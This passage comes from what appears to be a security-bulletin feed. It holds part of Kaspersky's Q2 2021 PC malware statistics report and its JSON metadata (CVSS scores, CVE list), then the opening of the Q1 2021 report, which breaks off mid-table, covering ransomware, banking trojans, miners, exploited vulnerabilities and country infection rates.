Nimnul | Virus.Win32.Nimnul | 3.3 \n8 | Cridex | Backdoor.Win32.Cridex | 2.3 \n9 | Nymaim | Trojan.Win32.Nymaim | 1.9 \n10 | Neurevt | Trojan.Win32.Neurevt | 1.6 \n \n_* Unique users who encountered this malware family as a percentage of all users attacked by financial malware._\n\n## Ransomware programs\n\n### Quarterly trends and highlights\n\n#### Attack on Colonial Pipeline and closure of DarkSide\n\nRansomware attacks on large organizations continued in Q2. Perhaps the most notable event of the quarter was the [attack by the DarkSide group on Colonial Pipeline](<https://ics-cert.kaspersky.com/reports/2021/05/21/darkchronicles-the-consequences-of-the-colonial-pipeline-attack/>), one of the largest fuel pipeline operators in the US. The incident led to fuel outages and a state of emergency in four states. The results of the investigation, which involved the FBI and several other US government agencies, was reported to US President Joe Biden.\n\nFor the cybercriminals, this sudden notoriety proved unwelcome. In their blog, DarkSide's creators heaped the blame on third-party operators. Another post was published stating that DarkSide's developers had lost access to part of their infrastructure and were shutting down the service and the affiliate program.\n\nAnother consequence of this high-profile incident was a new rule on the Russian-language forum XSS, where many developers of ransomware, including REvil (also known as Sodinokibi or Sodin), LockBit and Netwalker, advertise their affiliate programs. The new rule forbade the advertising and selling of any ransomware programs on the site. The administrators of other forums popular with cybercriminals took similar decisions.\n\n#### Closure of Avaddon\n\nAnother family of targeted ransomware whose owners shut up shop in Q2 is Avaddon. At the same time as announcing the shutdown, the attackers [provided](<https://www.bleepingcomputer.com/news/security/avaddon-ransomware-shuts-down-and-releases-decryption-keys/>) Bleeping Computer with the decryption keys.\n\n#### Clash with Clop\n\nUkrainian police [searched](<https://cyberpolice.gov.ua/news/kiberpolicziya-vykryla-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shyfruvalnyka-ta-nanesenni-inozemnym-kompaniyam-piv-milyarda-dolariv-zbytkiv-2402/>) and arrested members of the Clop group. Law enforcement agencies also deactivated part of the cybercriminals' infrastructure, which [did not](<https://www.bleepingcomputer.com/news/security/clop-ransomware-is-back-in-business-after-recent-arrests/>), however, stop the group's activities.\n\n#### Attacks on NAS devices\n\nIn Q2, cybercriminals stepped up their attacks on network-attached storage (NAS) devices. There appeared the new [Qlocker](<https://support.qnap.ru/hc/ru/articles/360021328659-\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c-Qnap-Ransomware-Qlocker>) family, which packs user files into a password-protected 7zip archive, plus our old friends [ech0raix](<https://www.qnap.com/en/security-advisory/QSA-21-18>) and [AgeLocker](<https://www.qnap.com/en-us/security-advisory/QSA-21-15>) began to gather steam.\n\n### Number of new ransomware modifications\n\nIn Q2 2021, we detected 14 new ransomware families and 3,905 new modifications of this malware type.\n\n_Number of new ransomware modifications, Q2 2020 \u2014 Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141411/03-en-ru-es-malware-report-q2-2021-graphs-pc.png>))_\n\n### Number of users attacked by ransomware Trojans\n\nIn Q2 2021, Kaspersky products and technologies protected 97,451 users from ransomware attacks.\n\n_Number of unique users attacked by ransomware Trojans, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141438/04-en-malware-report-q2-2021-graphs-pc.png>))_\n\n### Geography of ransomware attacks\n\n_Geography of attacks by ransomware Trojans, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141505/05-en-malware-report-q2-2021-graphs-pc.png>))_\n\n**Top 10 countries attacked by ransomware Trojans**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Bangladesh | 1.85 \n2 | Ethiopia | 0.51 \n3 | China | 0.49 \n4 | Pakistan | 0.40 \n5 | Egypt | 0.38 \n6 | Indonesia | 0.36 \n7 | Afghanistan | 0.36 \n8 | Vietnam | 0.35 \n9 | Myanmar | 0.35 \n10 | Nepal | 0.33 \n \n_* Excluded are countries with relatively few Kaspersky users (under 50,000)._ \n_** Unique users attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country._\n\n### Top 10 most common families of ransomware Trojans\n\n| **Name** | **Verdicts** | **%*** \n---|---|---|--- \n1 | WannaCry | Trojan-Ransom.Win32.Wanna | 20.66 \n2 | Stop | Trojan-Ransom.Win32.Stop | 19.70 \n3 | (generic verdict) | Trojan-Ransom.Win32.Gen | 9.10 \n4 | (generic verdict) | Trojan-Ransom.Win32.Crypren | 6.37 \n5 | (generic verdict) | Trojan-Ransom.Win32.Phny | 6.08 \n6 | (generic verdict) | Trojan-Ransom.Win32.Encoder | 5.87 \n7 | (generic verdict) | Trojan-Ransom.Win32.Agent | 5.19 \n8 | PolyRansom/VirLock | Virus.Win32.Polyransom / Trojan-Ransom.Win32.PolyRansom | 2.39 \n9 | (generic verdict) | Trojan-Ransom.Win32.Crypmod | 1.48 \n10 | (generic verdict) | Trojan-Ransom.MSIL.Encoder | 1.26 \n \n_* Unique Kaspersky users attacked by this family of ransomware Trojans as a percentage of all users attacked by such malware._\n\n## Miners\n\n### Number of new miner modifications\n\nIn Q2 2021, Kaspersky solutions detected 31,443 new modifications of miners.\n\n_Number of new miner modifications, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141534/06-en-malware-report-q2-2021-graphs-pc.png>))_\n\n### Number of users attacked by miners\n\nIn Q2, we detected attacks using miners on the computers of 363,516 unique users of Kaspersky products worldwide. At the same time, the number of attacked users gradually decreased during the quarter; in other words, the downward trend in miner activity returned.\n\n_Number of unique users attacked by miners, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141602/07-en-malware-report-q2-2021-graphs-pc.png>))_\n\n### Geography of miner attacks\n\n_Geography of miner attacks, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141627/08-en-malware-report-q2-2021-graphs-pc.png>))_\n\n**Top 10 countries attacked by miners**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Afghanistan | 3.99 \n2 | Ethiopia | 2.66 \n3 | Rwanda | 2.19 \n4 | Uzbekistan | 1.61 \n5 | Mozambique | 1.40 \n6 | Sri Lanka | 1.35 \n7 | Vietnam | 1.33 \n8 | Kazakhstan | 1.31 \n9 | Azerbaijan | 1.21 \n10 | Tanzania | 1.19 \n \n_* Excluded are countries with relatively few users of Kaspersky products (under 50,000)._ \n_** Unique users attacked by miners as a percentage of all unique users of Kaspersky products in the country._\n\n## Vulnerable applications used by cybercriminals during cyberattacks\n\nQ2 2021 injected some minor changes into our statistics on exploits used by cybercriminals. In particular, the share of exploits for Microsoft Office dropped to 55.81% of the total number of threats of this type. Conversely, the share of exploits attacking popular browsers rose by roughly 3 p.p. to 29.13%.\n\n_Distribution of exploits used by cybercriminals, by type of attacked application, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141656/09-en-malware-report-q2-2021-graphs-pc.png>))_\n\nMicrosoft Office exploits most often tried to utilize the memory corruption vulnerability [CVE-2018-0802](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802>). This error can occur in the Equation Editor component when processing objects in a specially constructed document, and its exploitation causes a buffer overflow and allows an attacker to execute arbitrary code. Also seen in Q2 was the similar vulnerability [CVE-2017-11882](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882>), which causes a buffer overflow on the stack in the same component. Lastly, we spotted an attempt to exploit the [CVE-2017-8570](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570>) vulnerability, which, like other bugs in Microsoft Office, permits the execution of arbitrary code in vulnerable versions of the software.\n\nQ2 2021 was marked by the emergence of several dangerous vulnerabilities in various versions of the Microsoft Windows family, many of them observed in the wild. Kaspersky alone found three vulnerabilities used in targeted attacks:\n\n * [CVE-2021-28310](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28310>) \u2014 an out-of-bounds (OOB) write vulnerability in the Microsoft DWM Core library used in Desktop Window Manager. Due to insufficient checks in the data array code, an unprivileged user using the DirectComposition API can write their own data to the memory areas they control. As a result, the data of real objects is corrupted, which, in turn, can lead to the execution of arbitrary code;\n * [CVE-2021-31955](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31955>) \u2014 an information disclosure vulnerability that exposes information about kernel objects. Together with other exploits, it allows an intruder to attack a vulnerable system;\n * [CVE-2021-31956](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31956>) \u2014 a vulnerability in the ntfs.sys file system driver. It causes incorrect checking of transferred sizes, allowing an attacker to inflict a buffer overflow by manipulating parameters.\n\nYou can read more about these vulnerabilities and their exploitation in our articles [PuzzleMaker attacks with Chrome zero-day exploit chain](<https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/>) and [Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild](<https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/>).\n\nOther security researchers found a number of browser vulnerabilities, including:\n\n * [CVE-2021-33742](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33742>) \u2014 a bug in the Microsoft Trident browser engine (MSHTML) that allows writing data outside the memory of operable objects;\n * Three Google Chrome vulnerabilities found in the wild that exploit bugs in various browser components: [CVE-2021-30551](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30551>) \u2014 a data type confusion vulnerability in the V8 scripting engine; [CVE-2021-30554](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30554>) \u2014 a use-after-free vulnerability in the WebGL component; and [CVE-2021-21220](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21220>) \u2014 a heap corruption vulnerability;\n * Three vulnerabilities in the WebKit browser engine, now used mainly in Apple products (for example, the Safari browser), were also found in the wild: [CVE-2021-30661](<https://support.apple.com/en-us/HT212317>) \u2014 a use-after-free vulnerability; [CVE-2021-30665](<https://support.apple.com/en-us/HT212336>) \u2014 a memory corruption vulnerability; and [CVE-2021-30663](<https://support.apple.com/en-us/HT212336>) \u2014 an integer overflow vulnerability.\n\nAll of these vulnerabilities allow a cybercriminal to attack a system unnoticed if the user opens a malicious site in an unpatched browser.\n\nIn Q2, two similar vulnerabilities were found ([CVE-2021-31201](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31201>) and [CVE-2021-31199](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31199>)), exploiting integer overflow bugs in the Microsoft Windows Cryptographic Provider component. Using these vulnerabilities, an attacker could prepare a special signed document that would ultimately allow the execution of arbitrary code in the context of an application that uses the vulnerable library.\n\nBut the biggest talking point of the quarter was the [critical vulnerabilities CVE-2021-1675 and CVE-2021-34527](<https://securelist.com/quick-look-at-cve-2021-1675-cve-2021-34527-aka-printnightmare/103123/>) in the Microsoft Windows Print Spooler, in both server and client editions. Their discovery, together with a [proof of concept](<https://encyclopedia.kaspersky.com/glossary/poc-proof-of-concept/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>), caused a stir in both the expert community and the media, which dubbed one of the vulnerabilities PrintNightmare. Exploitation of these vulnerabilities is quite trivial, since Print Spooler is enabled by default in Windows, and the methods of compromise are available even to unprivileged users, including remote ones. In the latter case, the RPC mechanism can be leveraged for compromise. As a result, an attacker with low-level access can take over not only a local machine, but also the domain controller, if these systems have not been updated, or available [risk mitigation methods](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) against these vulnerabilities have not been applied.\n\nAmong the network threats in Q2 2021, attempts to brute-force passwords in popular protocols and services (RDP, SSH, MSSQL, etc.) are still current. Attacks using EternalBlue, EternalRomance and other such exploits remain prevalent, although their share is gradually shrinking. New attacks include [CVE-2021-31166](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31166>), a vulnerability in the Microsoft Windows HTTP protocol stack that causes a denial of service during processing of web-server requests. To gain control over target systems, attackers are also using the previously found NetLogon vulnerability ([CVE-2020-1472](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472>)) and, for servers running Microsoft Exchange Server, vulnerabilities recently discovered while researching targeted attacks by the [HAFNIUM](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) group.\n\n## Attacks on macOS\n\nAs for threats to the macOS platform, Q2 will be remembered primarily for the appearance of new samples of the XCSSET Trojan. Designed to steal data from browsers and other applications, the malware is notable for spreading itself through infecting projects in the Xcode development environment. The Trojan takes the form of a bash script packed with the SHC utility, allowing it to evade macOS protection, which does not block script execution. During execution of the script, the SHC utility uses the RC4 algorithm to decrypt the payload, which, in turn, downloads additional modules.\n\n**Top 20 threats for macOS**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | AdWare.OSX.Pirrit.j | 14.47 \n2 | AdWare.OSX.Pirrit.ac | 13.89 \n3 | AdWare.OSX.Pirrit.o | 10.21 \n4 | AdWare.OSX.Pirrit.ae | 7.96 \n5 | AdWare.OSX.Bnodlero.at | 7.94 \n6 | Monitor.OSX.HistGrabber.b | 7.82 \n7 | Trojan-Downloader.OSX.Shlayer.a | 7.69 \n8 | AdWare.OSX.Bnodlero.bg | 7.28 \n9 | AdWare.OSX.Pirrit.aa | 6.84 \n10 | AdWare.OSX.Pirrit.gen | 6.44 \n11 | AdWare.OSX.Cimpli.m | 5.53 \n12 | Trojan-Downloader.OSX.Agent.h | 5.50 \n13 | Backdoor.OSX.Agent.z | 4.64 \n14 | Trojan-Downloader.OSX.Lador.a | 3.92 \n15 | AdWare.OSX.Bnodlero.t | 3.64 \n16 | AdWare.OSX.Bnodlero.bc | 3.36 \n17 | AdWare.OSX.Ketin.h | 3.25 \n18 | AdWare.OSX.Bnodlero.ay | 3.08 \n19 | AdWare.OSX.Pirrit.q | 2.84 \n20 | AdWare.OSX.Pirrit.x | 2.56 \n \n_* Unique users who encountered this malware as a percentage of all users of Kaspersky security solutions for macOS who were attacked._\n\nAs in the previous quarter, a total of 15 of the Top 20 threats for macOS are adware programs. The Pirrit and Bnodlero families have traditionally stood out from the crowd, with the former accounting for two-thirds of the total number of threats.\n\n### Geography of threats for macOS\n\n_Geography of threats for macOS, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141728/10-en-malware-report-q2-2021-graphs-pc.png>))_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | India | 3.77 \n2 | France | 3.67 \n3 | Spain | 3.45 \n4 | Canada | 3.08 \n5 | Italy | 3.00 \n6 | Mexico | 2.88 \n7 | Brazil | 2.82 \n8 | USA | 2.69 \n9 | Australia | 2.53 \n10 | Great Britain | 2.33 \n \n_* Excluded from the rating are countries with relatively few users of Kaspersky security solutions for macOS (under 10,000)._ \n_** Unique users attacked as a percentage of all users of Kaspersky security solutions for macOS in the country._\n\nIn Q2 2021, first place by share of attacked users went to India (3.77%), where adware applications from the Pirrit family were most frequently encountered. A comparable situation was observed in France (3.67%) and Spain (3.45%), which ranked second and third, respectively.\n\n## IoT attacks\n\n### IoT threat statistics\n\nIn Q2 2021, as before, most of the attacks on Kaspersky traps came via the Telnet protocol.\n\nTelnet | 70.55% \n---|--- \nSSH | 29.45% \n \n_Distribution of attacked services by number of unique IP addresses of devices that carried out attacks, Q2 2021_\n\nThe statistics for cybercriminal working sessions with Kaspersky honeypots show similar Telnet dominance.\n\nTelnet | 63.06% \n---|--- \nSSH | 36.94% \n \n_Distribution of cybercriminal working sessions with Kaspersky traps, Q2 2021_\n\n**Top 10 threats delivered to IoT devices via Telnet**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | Backdoor.Linux.Mirai.b | 30.25% \n2 | Trojan-Downloader.Linux.NyaDrop.b | 27.93% \n3 | Backdoor.Linux.Mirai.ba | 5.82% \n4 | Backdoor.Linux.Agent.bc | 5.10% \n5 | Backdoor.Linux.Gafgyt.a | 4.44% \n6 | Trojan-Downloader.Shell.Agent.p | 3.22% \n7 | RiskTool.Linux.BitCoinMiner.b | 2.90% \n8 | Backdoor.Linux.Gafgyt.bj | 2.47% \n9 | Backdoor.Linux.Mirai.cw | 2.52% \n10 | Backdoor.Linux.Mirai.ad | 2.28% \n \n_* Share of each threat delivered to infected devices as a result of a successful Telnet attack out of the total number of delivered threats._\n\nDetailed IoT threat statistics are published in our Q2 2021 DDoS report: <https://securelist.com/ddos-attacks-in-q2-2021/103424/#attacks-on-iot-honeypots>\n\n## Attacks via web resources\n\n_The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Cybercriminals create such sites on purpose and web resources with user-created content (for example, forums), as well as hacked legitimate resources, can be infected._\n\n### Countries that serve as sources of web-based attacks: Top 10\n\n_The following statistics show the distribution by country of the sources of Internet attacks blocked by Kaspersky products on user computers (web pages with redirects to exploits, sites hosting malicious programs, botnet C&C centers, etc.). Any unique host could be the source of one or more web-based attacks._\n\n_To determine the geographic source of web attacks, the GeoIP technique was used to match the domain name to the real IP address at which the domain is hosted._\n\nIn Q2 2021, Kaspersky solutions blocked 1,686,025,551 attacks from online resources located across the globe. 675,832,360 unique URLs were recognized as malicious by Web Anti-Virus components.\n\n_Distribution of web-attack sources by country, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141800/13-en-malware-report-q2-2021-graphs-pc.png>))_\n\n### Countries where users faced the greatest risk of online infection\n\nTo assess the risk of online infection faced by users in different countries, for each country we calculated the percentage of Kaspersky users on whose computers Web Anti-Virus was triggered during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries.\n\nThis rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include Web Anti-Virus detections of potentially dangerous or unwanted programs such as RiskTool or adware.\n\n| Country* | % of attacked users** \n---|---|--- \n1 | Belarus | 23.65 \n2 | Mauritania | 19.04 \n3 | Moldova | 18.88 \n4 | Ukraine | 18.37 \n5 | Kyrgyzstan | 17.53 \n6 | Algeria | 17.51 \n7 | Syria | 15.17 \n8 | Uzbekistan | 15.16 \n9 | Kazakhstan | 14.80 \n10 | Tajikistan | 14.70 \n11 | Russia | 14.54 \n12 | Yemen | 14.38 \n13 | Tunisia | 13.40 \n14 | Estonia | 13.36 \n15 | Latvia | 13.23 \n16 | Libya | 13.04 \n17 | Armenia | 12.95 \n18 | Morocco | 12.39 \n19 | Saudi Arabia | 12.16 \n20 | Macao | 11.67 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000)._ \n_** Unique users targeted by **Malware-class** attacks as a percentage of all unique users of Kaspersky products in the country._\n\n_These statistics are based on detection verdicts by the Web Anti-Virus module that were received from users of Kaspersky products who consented to provide statistical data._\n\nOn average during the quarter, 9.43% of computers of Internet users worldwide were subjected to at least one **Malware-class** web attack.\n\n_Geography of web-based malware attacks, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141830/14-en-malware-report-q2-2021-graphs-pc.png>))_\n\n## Local threats\n\n_In this section, we analyze statistical data obtained from the OAS and ODS modules in Kaspersky products. It takes into account malicious programs that were found directly on users' computers or removable media connected to them (flash drives, camera memory cards, phones, external hard drives), or which initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.)._\n\nIn Q2 2021, our File Anti-Virus detected **68,294,298** malicious and potentially unwanted objects.\n\n### Countries where users faced the highest risk of local infection\n\nFor each country, we calculated the percentage of Kaspersky product users on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal computer infection in different countries.\n\nNote that this rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include File Anti-Virus triggers in response to potentially dangerous or unwanted programs, such as RiskTool or adware.\n\n| Country* | % of attacked users** \n---|---|--- \n1 | Turkmenistan | 49.38 \n2 | Tajikistan | 48.11 \n3 | Afghanistan | 46.52 \n4 | Uzbekistan | 44.21 \n5 | Ethiopia | 43.69 \n6 | Yemen | 43.64 \n7 | Cuba | 38.71 \n8 | Myanmar | 36.12 \n9 | Syria | 35.87 \n10 | South Sudan | 35.22 \n11 | China | 35.14 \n12 | Kyrgyzstan | 34.91 \n13 | Bangladesh | 34.63 \n14 | Venezuela | 34.15 \n15 | Benin | 32.94 \n16 | Algeria | 32.83 \n17 | Iraq | 32.55 \n18 | Madagascar | 31.68 \n19 | Mauritania | 31.60 \n20 | Belarus | 31.38 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000)._ \n_** Unique users on whose computers **Malware-class** local threats were blocked, as a percentage of all unique users of Kaspersky products in the country._\n\n_Geography of local infection attempts, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141906/15-en-malware-report-q2-2021-graphs-pc.png>))_\n\nOn average worldwide, **Malware-class** local threats were recorded on 15.56% of users' computers at least once during the quarter. Russia scored 17.52% in this rating.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-08-12T10:00:12", "type": "securelist", "title": "IT threat evolution in Q2 2021. PC statistics", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-11882", "CVE-2017-8570", "CVE-2018-0802", "CVE-2020-1472", "CVE-2021-1675", "CVE-2021-21220", "CVE-2021-28310", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30661", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-31166", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-33742", "CVE-2021-34527"], "modified": "2021-08-12T10:00:12", "id": "SECURELIST:BB0230F9CE86B3F1994060AA0A809C08", "href": "https://securelist.com/it-threat-evolution-in-q2-2021-pc-statistics/103607/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-05-31T11:03:47", "description": "![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22101624/malware_SL_pic3-990x400.jpg)\n\n_These statistics are based on detection verdicts of Kaspersky products received from users who consented to provide statistical data._\n\n## Quarterly figures\n\nAccording to Kaspersky Security Network, in Q1 2021:\n\n * Kaspersky solutions blocked 2,023,556,082 attacks launched from online resources across the globe.\n * 613,968,631 unique URLs were recognized as malicious by Web Anti-Virus components.\n * Attempts to run malware designed to steal money via online access to bank accounts were stopped on the computers of 118,099 users.\n * Ransomware attacks were defeated on the computers of 91,841 unique users.\n * Our File Anti-Virus detected 77,415,192 unique malicious and potentially unwanted objects.\n\n## Financial threats\n\n### Financial threat statistics\n\nAt the end of last year, the number of users attacked by malware designed to steal money from bank accounts gradually decreased, a trend that continued in Q1 2021. This quarter, in total, Kaspersky solutions blocked the malware of such type on the computers of 118,099 unique users.\n\n_Number of unique users attacked by financial malware, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24110545/01-en-malware-report-q1-2021-pc.png>))_\n\n**Attack geography**\n\n_To evaluate and compare the risk of being infected by banking Trojans and ATM/POS malware worldwide, for each country we calculated the share of users of Kaspersky products who faced this threat during the reporting period as a percentage of all users of our products in that country._\n\n_Geography of financial malware attacks, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24110629/02-en-malware-report-q1-2021-pc.png>))_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Turkmenistan | 6.3 \n2 | Tajikistan | 5.3 \n3 | Afghanistan | 4.8 \n4 | Uzbekistan | 4.6 \n5 | Paraguay | 3.2 \n6 | Yemen | 2.1 \n7 | Costa Rica | 2.0 \n8 | Sudan | 2.0 \n9 | Syria | 1.5 \n10 | Venezuela | 1.4 \n \n_* Excluded are countries with relatively few Kaspersky product users (under 10,000). \n** Unique users whose computers were targeted by financial malware as a percentage of all unique users of Kaspersky products in the country._\n\nAs before, the most widespread family of bankers in Q1 was ZeuS/Zbot (30.8%). Second place was taken by the CliptoShuffler family (15.9%), and third by Trickster (7.5%). All in all, more than half of all attacked users encountered these families. The notorious banking Trojan Emotet (7.4%) was deprived of its infrastructure this quarter as a result of a [joint operation](<https://www.europol.europa.eu/newsroom/news/world's-most-dangerous-malware-emotet-disrupted-through-global-action>) by Europol, the FBI and other law enforcement agencies, and its share predictably collapsed.\n\n**Top 10 banking malware families**\n\n| Name | Verdicts | %* \n---|---|---|--- \n1 | Zbot | Trojan.Win32.Zbot | 30.8 \n2 | CliptoShuffler | Trojan-Banker.Win32.CliptoShuffler | 15.9 \n3 | Trickster | Trojan.Win32.Trickster | 7.5 \n4 | Emotet | Backdoor.Win32.Emotet | 7.4 \n5 | RTM | Trojan-Banker.Win32.RTM | 6.6 \n6 | Nimnul | Virus.Win32.Nimnul | 5.1 \n7 | Nymaim | Trojan.Win32.Nymaim | 4.7 \n8 | SpyEye | Trojan-Spy.Win32.SpyEye | 3.8 \n9 | Danabot | Trojan-Banker.Win32.Danabot | 2.9 \n10 | Neurevt | Trojan.Win32.Neurevt | 2.2 \n \n_** Unique users who encountered this malware family as a percentage of all users attacked by financial malware._\n\n## Ransomware programs\n\n### Quarterly trends and highlights\n\n**New additions to the ransomware arsenal**\n\nLast year, the SunCrypt and RagnarLocker ransomware groups adopted new scare tactics. If the victim organization is slow to pay up, even though its files are encrypted and some of its confidential data has been stolen, the attackers additionally threaten to carry out a DDoS attack. In Q1 2021, these two groups were joined by a third, Avaddon. Besides publishing stolen data, the ransomware operators said on their website that the victim would be subjected to a DDoS attack until it reached out to them.\n\nREvil (aka Sodinokibi) is another group looking to increase its extortion leverage. In addition to DDoS attacks, it has [added](<https://twitter.com/3xp0rtblog/status/1368149692383719426>) spam and calls to clients and partners of the victim company to its toolbox.\n\n**Attacks on vulnerable Exchange servers**\n\n[Serious vulnerabilities were recently discovered](<https://securelist.com/zero-day-vulnerabilities-in-microsoft-exchange-server/101096/>) in the Microsoft Exchange mail server, allowing [remote code execution](<https://encyclopedia.kaspersky.com/glossary/remote-code-execution-rce/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>). Ransomware distributors wasted no time in exploiting these vulnerabilities; to date, this infection vector was seen being used by the Black Kingdom and DearCry families.\n\n**Publication of keys**\n\nThe developers of the Fonix (aka XINOF) ransomware ceased distributing their Trojan and posted the master key online for decrypting affected files. We took this key and created a [decryptor](<https://www.kaspersky.com/blog/fonix-decryptor/38646/>) that anyone can use. The developers of another strain of ransomware, Ziggy, not only [published](<https://www.bleepingcomputer.com/news/security/ziggy-ransomware-shuts-down-and-releases-victims-decryption-keys/>) the keys for all victims, but also announced their [intention](<https://www.bleepingcomputer.com/news/security/ransomware-admin-is-refunding-victims-their-ransom-payments/>) to return the money to everyone who paid up.\n\n**Law enforcement successes**\n\nLaw enforcement agencies under the US Department of Justice [seized](<https://www.justice.gov/opa/pr/department-justice-launches-global-action-against-netwalker-ransomware>) dark web resources used by NetWalker (aka Mailto) ransomware affiliates, and also brought charges against one of the alleged actors.\n\nFrench and Ukrainian law enforcers worked together to trace payments made through the Bitcoin ecosystem to Egregor ransomware distributors. The joint investigation resulted in the [arrest](<https://www.bleepingcomputer.com/news/security/egregor-ransomware-affiliates-arrested-by-ukrainian-french-police/>) of several alleged members of the Egregor gang.\n\nIn South Korea, a suspect in the GandCrab ransomware operation was [arrested](<https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-affiliate-arrested-for-phishing-attacks/>) (this family ceased active distribution back in 2019).\n\n### Number of new modifications\n\nIn Q1 2021, we detected seven new ransomware families and 4,354 new modifications of this malware type.\n\n_Number of new ransomware modifications, Q1 2020 \u2013 Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24110702/03-en-ru-es-malware-report-q1-2021-pc.png>))_\n\n### Number of users attacked by ransomware Trojans\n\nIn Q1 2021, Kaspersky products and technologies protected 91,841 users from ransomware attacks.\n\n_Number of unique users attacked by ransomware Trojans, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24110733/04-en-malware-report-q1-2021-pc.png>))_\n\n### Attack geography\n\n_Geography of attacks by ransomware Trojans, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24110802/05-en-malware-report-q1-2021-pc.png>))_\n\n**Top 10 countries attacked by ransomware Trojans**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Bangladesh | 2.31% \n2 | Ethiopia | 0.62% \n3 | Greece | 0.49% \n4 | Pakistan | 0.49% \n5 | China | 0.48% \n6 | Tunisia | 0.44% \n7 | Afghanistan | 0.42% \n8 | Indonesia | 0.38% \n9 | Taiwan, Province of China | 0.37% \n10 | Egypt | 0.28% \n \n_* Excluded are countries with relatively few Kaspersky users (under 50,000). \n** Unique users attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products 